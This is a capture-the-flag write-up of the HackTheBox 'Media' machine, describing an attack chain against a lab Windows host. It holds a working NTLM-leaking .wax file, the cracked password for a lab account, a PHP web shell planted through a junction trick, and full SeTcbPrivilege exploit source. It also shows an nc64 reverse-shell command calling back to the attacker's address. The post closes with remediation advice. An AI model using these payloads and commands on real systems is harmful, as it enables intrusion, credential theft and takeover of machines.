Post

HTB: Media

Media is a medium-difficulty Windows box on HackTheBox featuring a "by-design vulnerability" in Windows Media Player that can be leveraged to steal users' NTLM hashes. In this writeup, I demonstrate how WMP playlist/redirect behavior can be abused to leak NTLM hashes. I also demonstrate exploiting the powerful "SeTcbPrivilege" to gain SYSTEM privileges.

HTB: Media
OSDifficultRelease Date
WindowsMedium04 Sep 2025

Tools Used
nmap, responder, hashcat, curl, nc, icalcs, visual studio, tcbelevation.exe

Attack Summary

  1. Identified that uploaded media files may be opened by Windows Media Player.
  2. Crafted a malicious .wax file to steal NTLMv2 hash.
  3. Uploaded the payload via the upload form.
  4. Captured the NTLMv2 for enox user.
  5. Cracked the hash using hashcat.
  6. Logged in as via SSH as enox.
  7. Identified and exploited an arbitrary file upload to get a shell as NT Authority\Local Service.
  8. Exploited the SeTcbPrivilege to get a shell as NT Authority\SYSTEM

Recon

Nmap

I ran nmap to perform an initial scan, and found 3 open TCP ports.

1
2
3
4
5
6
7
8
9
10
❯ nmap -vvv -Pn -p- --max-retries 1 --min-rate 1500 --max-scan-delay 20 -T4 10.129.234.67
<SNIP>
PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 127
80/tcp   open  http          syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 87.72 seconds
           Raw packets sent: 131126 (5.770MB) | Rcvd: 61 (2.684KB)

I ran nmap again to enumerate the services running on the open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ nmap -sCV -p 22,80,3389 10.129.234.67
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 15:56 CST
Nmap scan report for 10.129.234.67
Host is up (0.21s latency).

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp   open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: ProMotion Studio
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: MEDIA
|   NetBIOS_Domain_Name: MEDIA
|   NetBIOS_Computer_Name: MEDIA
|   DNS_Domain_Name: MEDIA
|   DNS_Computer_Name: MEDIA
|   Product_Version: 10.0.20348
|_  System_Time: 2025-10-13T07:57:37+00:00
|_ssl-date: 2025-10-13T07:57:42+00:00; +1m22s from scanner time.
| ssl-cert: Subject: commonName=MEDIA
| Not valid before: 2025-10-12T07:51:00
|_Not valid after:  2026-04-13T07:51:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1m22s, deviation: 0s, median: 1m21s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.62 seconds

Without valid credentials for SSH (port 22) or WinRDP (port 3389), I proceeded to web enumeration.

TCP 80 - WEB

A web page was presented upon visiting.

I noticed a file upload form at the bottom of the page. It seemed to expect a video file compatible with Windows Media Player.

MEDIA\enox

NTLM Hash Stealing

The legacy Windows Media Player is known to be leveraged to steal NTLM hash as detailed in this arcticle.

In addition, Emails tend not filter for this file extension. I simulated the attack flow by sending myself a .wax file via email, downloading it, and then opening it. As a result, my NTLMv2 hash was captured by Responder. Neat:)

I created a payload.wax similar to what was shown in the original article.

1
2
3
4
5
6
7
<asx version="3.0">
  <title>Leak</title>
  <entry>
    <title></title>
    <ref href="file://10.10.xxx.xxx\test\1.mp3"/>
  </entry>
</asx>

I started responder to capture the hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ sudo responder -I tun0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
<SNIP>

Then I uploaded the payload.

When the file was opened in the backend, the NTLMv2 hash for enox was captured.

Password Cracking

I ran hashcat and successfully cracked the hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

<SNIP>

ENOX::MEDIA:fd2ae9560dd8785e:2d2a0796a21885ab73733c03fbc0bb16:01010000000000008082003a571fdc01f143e3f7df38446700000000020008005a0034005300380001001e00570049004e002d004b0032004e0059005200350041005a0037005a00370004003400570049004e002d004b0032004e0059005200350041005a0037005a0037002e005a003400530038002e004c004f00430041004c00030014005a003400530038002e004c004f00430041004c00050014005a003400530038002e004c004f00430041004c00070008008082003a571fdc0106000400020000000800300030000000000000000000000000300000ac96f923a5fa6238e492fbf82ac6c98932f5e90d64b4e2d13eea3683c1a11e3b0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320031000000000000000000:1234virus@

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ENOX::MEDIA:fd2ae9560dd8785e:2d2a0796a21885ab73733c...000000
Time.Started.....: Mon Oct 13 16:38:27 2025 (6 secs)
Time.Estimated...: Mon Oct 13 16:38:33 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2192.0 kH/s (0.80ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 13337600/14344385 (92.98%)
Rejected.........: 0/13337600 (0.00%)
Restore.Point....: 13332480/14344385 (92.95%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123_pie -> 1234sophie1234!
Hardware.Mon.#1..: Util: 28%

Started: Mon Oct 13 16:38:26 2025
Stopped: Mon Oct 13 16:38:34 2025

enox:1234virus@

Then I logged in via SSH as enox.

1
2
3
4
5
6
❯ ssh enox@10.129.234.67
enox@10.129.234.67's password:
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

enox@MEDIA C:\Users\enox>

NT Authority\Local Service

Enum

I ran whoami to enumerate user groups and privileges. Nothing interesting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
enox@MEDIA C:\Users\enox>whoami /all

USER INFORMATION
----------------

User Name  SID
========== ============================================
media\enox S-1-5-21-161898231-563177350-3296918735-1000


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

I ran tree for a quick file enumeration in user directories. Only review.ps1 was present that I could access.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
enox@MEDIA C:\Users>tree /f /a
Folder PATH listing
Volume serial number is EAD8-5D48
C:.
+---Administrator
+---enox
|   +---Desktop
|   |       user.txt
|   |
|   +---Documents
|   |       review.ps1  <---
|   |
|   +---Downloads
|   +---Favorites
|   +---Links
|   +---Music
|   +---Pictures
|   +---Saved Games
|   \---Videos
\---Public

It was the automation script for launching the Windows Media Player. Nothing particularly interesting except it executed media files from a prefilled to-do list. I wondered how that list had been created.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
while($True){

    if ((Get-Content -Path $todofile) -eq $null) {
        Write-Host "Todo is empty."
        Sleep 60 # Sleep for 60 seconds before rechecking
    }
    else {
        $result = Get-Values -FilePath $todofile
        $filename = $result.FileName
        $randomVariable = $result.RandomVariable
        Write-Host "FileName: $filename"
        Write-Host "Random Variable: $randomVariable"

        # Opening the File in Windows Media Player
        Start-Process -FilePath $mediaPlayerPath -ArgumentList "C:\Windows\Tasks\uploads\$randomVariable\$filename"

        # Wait for 15 seconds
        Start-Sleep -Seconds 15

        $mediaPlayerProcess = Get-Process -Name "wmplayer" -ErrorAction SilentlyContinue
        if ($mediaPlayerProcess -ne $null) {
            Write-Host "Killing Windows Media Player process."
            Stop-Process -Name "wmplayer" -Force
        }

        # Task Done
        UpdateTodo -FilePath $todofile # Updating C:\Windows\Tasks\Uploads\todo.txt
        Sleep 15
    }

}

The website was hosted by XAMPP, and the web root was at C:\xmapp\htdocs\.

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\xampp\htdocs> ls


    Directory: C:\xampp\htdocs


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         10/2/2023  10:27 AM                assets
d-----         10/2/2023  10:27 AM                css
d-----         10/2/2023  10:27 AM                js
-a----        10/10/2023   5:00 AM          20563 index.php

If I could plant a web shell here, I could potentially get a reverse shell in the context of the service account. However, I didn’t have write permission for this directory.

1
2
3
4
5
6
7
PS C:\xampp\htdocs> New-Item -ItemType File -Name test.txt
New-Item : Access to the path 'C:\xampp\htdocs\filename.txt' is denied.
At line:1 char:1
+ New-Item -ItemType File -Name filename.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\xampp\htdocs\filename.txt:String) [New-Item], UnauthorizedAccessException
    + FullyQualifiedErrorId : NewItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.NewItemCommand

I ran icacls.exe to confirm the lack of permissions.

1
2
3
4
5
6
7
8
9
PS C:\xampp\htdocs> icacls.exe .
. MEDIA\Administrator:(I)(OI)(CI)(F)
  NT AUTHORITY\LOCAL SERVICE:(I)(OI)(CI)(F)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(F)
  BUILTIN\Users:(I)(OI)(CI)(RX)  <---
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

Moving on, in the index.php, the logic for the to-do list was defined.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

    // Your PHP code for handling form submission and file upload goes here.
    $uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory

    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
        $firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
        $lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
        $email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);

        // Create a folder name using the MD5 hash of Firstname + Lastname + Email
        $folderName = md5($firstname . $lastname . $email);

        // Create the full upload directory path
        $targetDir = $uploadDir . $folderName . '/';

        // Ensure the directory exists; create it if not
        if (!file_exists($targetDir)) {
            mkdir($targetDir, 0777, true);
        }

        // Sanitize the filename to remove unsafe characters
        $originalFilename = $_FILES["fileToUpload"]["name"];
        $sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);


        // Build the full path to the target file
        $targetFile = $targetDir . $sanitizedFilename;

        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
            echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";

            // Update the todo.txt file
            $todoFile = $uploadDir . 'todo.txt';
            $todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";

            // Append the new line to the file
            file_put_contents($todoFile, $todoContent, FILE_APPEND);
        } else {
            echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";
        }
    }
?>

The following observations were made:

  • Each time a file is uploaded, a new directory is created and the file is transferred to that directory. The directory name is the MD5 hash calculated from the submitter’s identity.
  • When the submitter’s identity is unchanged, the directory name remains the same across multiple uploads.
  • There are no constraints on allowed file extensions, which permits potentially malicious uploads.

Arbitrary File Upload

Based on the above, if I could replace the folder with a symlink to the web root, I could upload arbitrary files there. Uploading and executing a reverse shell in that location would execute under the service account’s context, facilitating lateral movement. I proceeded to attempt to upload a web shell.

By default a normal user has full rights to the C:\Windows\Tasks\ folder. I ran icacls.exe to confirm it.

1
2
3
4
5
6
7
8
9
PS C:\windows\tasks\uploads> icacls.exe .
. Everyone:(OI)(CI)(F)  <---
  BUILTIN\Administrators:(I)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

I first uploaded an arbitrary file with a new identity, which would cause the server to create a new folder. I noted down the folder name d41d8cd98f00b204e9800998ecf8427e.

1
2
3
4
5
6
7
8
9
10
11
12
enox@MEDIA C:\Windows\Tasks\Uploads>dir
 Volume in drive C has no label.
 Volume Serial Number is EAD8-5D48

 Directory of C:\Windows\Tasks\Uploads

10/13/2025  02:57 PM    <DIR>          .
10/02/2023  11:04 AM    <DIR>          ..
10/13/2025  02:57 PM    <DIR>          d41d8cd98f00b204e9800998ecf8427e  <---
10/13/2025  02:57 PM                 0 todo.txt
               1 File(s)              0 bytes
               3 Dir(s)   9,789,378,560 bytes free

Then I deleted the folder.

1
2
3
4
5
6
PS C:\Windows\Tasks\Uploads> rm .\d41d8cd98f00b204e9800998ecf8427e\

Confirm
The item at C:\Windows\Tasks\Uploads\d41d8cd98f00b204e9800998ecf8427e\ has children and the Recurse parameter was not
specified. If you continue, all children will be removed with the item. Are you sure you want to continue?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "Y"): A

Next I created a symlink with the same name, pointing to the web root.

1
2
PS C:\Windows\Tasks\Uploads> cmd /c mklink /J C:\Windows\Tasks\Uploads\d41d8cd98f00b204e9800998ecf8427e C:\xampp\htdocs
Junction created for C:\Windows\Tasks\Uploads\d41d8cd98f00b204e9800998ecf8427e <<===>> C:\xampp\htdocs

I ran ls on it, the web root was listed, confirming the setup.

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Windows\Tasks\Uploads> ls .\d41d8cd98f00b204e9800998ecf8427e\


    Directory: C:\Windows\Tasks\Uploads\d41d8cd98f00b204e9800998ecf8427e


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         10/2/2023  10:27 AM                assets
d-----         10/2/2023  10:27 AM                css
d-----         10/2/2023  10:27 AM                js
-a----        10/10/2023   5:00 AM          20563 index.php

Then I uploaded a simple webshell shell.php.

1
<?php system($_REQUEST["cmd"]);?>

The web shell was successfully placed in the web root.

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\xampp\htdocs> ls


    Directory: C:\xampp\htdocs


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         10/2/2023  10:27 AM                assets
d-----         10/2/2023  10:27 AM                css
d-----         10/2/2023  10:27 AM                js
-a----        10/10/2023   5:00 AM          20563 index.php
-a----        10/13/2025   3:21 PM             34 shell.php  <---

RCE

I ran curl to confirm the RCE was working. The command was executed in the nt authority\local service context.

1
2
❯ curl http://10.129.234.67/shell.php?cmd=whoami
nt authority\local service

I used a URL-encoded Base64 PowerShell payload to get a reverse shell.

1
❯ curl http://10.129.234.67/shell.php?cmd=<url-encoded powershell revshell payload>
1
2
3
4
5
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.xxx.xxx] from (UNKNOWN) [10.129.234.67] 54965
whoami
nt authority\local service

NT Authority/SYSTEM

Enum

I enumerated the user groups and privileges.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PS C:\xampp\htdocs> whoami /all

USER INFORMATION
----------------

User Name                  SID
========================== ========
nt authority\local service S-1-5-19


GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                                                              Attributes
====================================== ================ ================================================================================================ ==================================================
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                           
Everyone                               Well-known group S-1-1-0                                                                                          Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545                                                                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                                                          Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                                                          Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15                                                                                         Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                                                          Mandatory group, Enabled by default, Enabled group
                                       Unknown SID type S-1-5-32-1488445330-856673777-1515413738-1380768593-2977925950-2228326386-886087428-2802422674   Mandatory group, Enabled by default, Enabled group
                                       Unknown SID type S-1-5-32-383293015-3350740429-1839969850-1819881064-1569454686-4198502490-78857879-1413643331    Mandatory group, Enabled by default, Enabled group
                                       Unknown SID type S-1-5-32-2035927579-283314533-3422103930-3587774809-765962649-3034203285-3544878962-607181067    Mandatory group, Enabled by default, Enabled group
                                       Unknown SID type S-1-5-32-3659434007-2290108278-1125199667-3679670526-1293081662-2164323352-1777701501-2595986263 Mandatory group, Enabled by default, Enabled group
                                       Unknown SID type S-1-5-32-11742800-2107441976-3443185924-4134956905-3840447964-3749968454-3843513199-670971053    Mandatory group, Enabled by default, Enabled group
                                       Unknown SID type S-1-5-32-3523901360-1745872541-794127107-675934034-1867954868-1951917511-1111796624-2052600462   Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== ========
SeTcbPrivilege                Act as part of the operating system Disabled  <---
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeCreateGlobalPrivilege       Create global objects               Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Disabled
SeTimeZonePrivilege           Change the time zone                Disabled

Interestingly the user had SeTcbPrivilege. It meant “Act as part of the operating system”, and is one of the most powerful privileges in Windows security architecture. It gives a process or account the ability to assume the identity of any user.

SeTcbPrivilege Abuse

There existed a public POC to exploit this privilege. I made minor adaptations and performed some debugging to get it to work.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// TcbElevation - Authors: @splinter_code and @decoder_it

#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#define UNICODE 1
#pragma comment(lib, "Secur32.lib")

void EnableTcbPrivilege(BOOL enforceCheck);
BOOL SetPrivilege(HANDLE hToken, wchar_t* lpszPrivilege, BOOL bEnablePrivilege);
SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(LPWSTR pszPrincipal, LPWSTR pszPackage, unsigned long fCredentialUse, void* pvLogonId, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry);

int wmain(int argc, wchar_t** argv)
{

    if (argc < 3) {
        printf("usage: TcbElevation.exe [ServiceName] [CmdLine]\n");
        exit(-1);
    }

    EnableTcbPrivilege(TRUE);
    PSecurityFunctionTableW table = InitSecurityInterfaceW();
    table->AcquireCredentialsHandleW = AcquireCredentialsHandleWHook; // SSPI hooks trick borrowed from @tiraniddo --> https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82

    wchar_t* serviceName = argv[1];
    wchar_t* cmdline = argv[2];

    SC_HANDLE hScm = OpenSCManagerW(L"127.0.0.1", nullptr, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
    if (!hScm)
    {
        printf("Error opening SCM %d\n", GetLastError());
        return 1;
    }

    SC_HANDLE hService = CreateService(hScm, serviceName, nullptr, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, cmdline, nullptr, nullptr, nullptr, nullptr, nullptr);
    if (!hService)
    {
        printf("Error creating service %d\n", GetLastError());
        return 1;
    }

    if (!StartService(hService, 0, nullptr))
    {
        printf("Error starting service %d\n", GetLastError());
        return 1;
    }

    return 0;
}

BOOL SetPrivilege(HANDLE hToken, wchar_t* lpszPrivilege, BOOL bEnablePrivilege)
{
    TOKEN_PRIVILEGES tp;
    PRIVILEGE_SET privs;
    LUID luid;
    BOOL debugPrivEnabled = FALSE;
    if (!LookupPrivilegeValueW(NULL, lpszPrivilege, &luid))
    {
        printf("LookupPrivilegeValueW() failed, error %u\n", GetLastError());
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
    {
        printf("AdjustTokenPrivileges() failed, error %u\n", GetLastError());
        return FALSE;
    }
    privs.PrivilegeCount = 1;
    privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
    privs.Privilege[0].Luid = luid;
    privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!PrivilegeCheck(hToken, &privs, &debugPrivEnabled)) {
        printf("PrivilegeCheck() failed, error %u\n", GetLastError());
        return FALSE;
    }
    if (!debugPrivEnabled)
        return FALSE;
    return TRUE;
}

void EnableTcbPrivilege(BOOL enforceCheck) {
    HANDLE currentProcessToken = NULL;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);
    BOOL setPrivilegeSuccess = SetPrivilege(currentProcessToken, (wchar_t*)L"SeTcbPrivilege", TRUE);
    if (enforceCheck && !setPrivilegeSuccess) {
        printf("No SeTcbPrivilege in the token. Exiting...\n");
        exit(-1);
    }
    CloseHandle(currentProcessToken);
}

SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(LPWSTR pszPrincipal, LPWSTR pszPackage, unsigned long fCredentialUse, void* pvLogonId, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry)
{
    LUID logonId;
    ZeroMemory(&logonId, sizeof(LUID));
    logonId.LowPart = 0x3E7; // here we do the Tcb magic using the SYSTEM LUID in pvLogonId of AcquireCredentialsHandleW call
    return AcquireCredentialsHandleW(pszPrincipal, pszPackage, fCredentialUse, &logonId, pAuthData, pGetKeyFn, pvGetKeyArgument, phCredential, ptsExpiry);
}

I built the executable in Visual Studio.

Next, I transferred TcbElevation.exe and nc64.exe to the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\programdata> ls


    Directory: C:\programdata


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/10/2023   6:41 AM                Amazon
d---s-         10/1/2023  11:45 PM                Microsoft
d-----         4/15/2025   9:08 PM                Package Cache
d-----         8/26/2025  12:58 PM                Packages
d-----        10/10/2023   3:55 AM                regid.1991-06.com.microsoft
d-----          5/8/2021   1:20 AM                SoftwareDistribution
d-----         8/27/2025   7:04 AM                ssh
d-----         10/2/2023  10:33 AM                USOPrivate
d-----          5/8/2021   1:20 AM                USOShared
d-----         10/2/2023  12:18 AM                VMware
-a----        10/13/2025   3:39 PM          45272 nc64.exe  <---
-a----        10/13/2025   3:40 PM          13312 TcbElevation.exe  <---

Then I executed the exploit to get a reverse shell as nt authority\system

1
PS C:\programdata> .\TcbElevation.exe test "C:\Windows\system32\cmd.exe /c C:\Programdata\nc64.exe -e cmd 10.10.xxx.xxx 443"
1
2
3
4
5
6
7
8
9
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.xxx.xxx] from (UNKNOWN) [10.129.245.132] 65133
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system  <---

Remediation

Short term

  • Block outbound SMB traffic: Preventing outbound SMB connections to untrusted networks will reduce the risk of NTLM credential leakage to rogue servers.
  • Restrict permissions on C:\Windows\Tasks\Uploads to only the minimum required accounts.
  • Harden web upload handling, enforce a strict allowlist of extensions and content-type checks.

Medium term

  • Restrict NTLM Usage: Use Group Policy to limit or disable NTLM authentication.
  • Enforce SMB sgning and encryption: Enabling SMB signing and encryption can help prevent attackers from impersonating legitimate servers and triggering NTLM authentication.
  • Audit NTLM usage: Regularly review environment for applications and services still using NTLM, especially legacy systems.
This post is licensed under CC BY 4.0 by the author.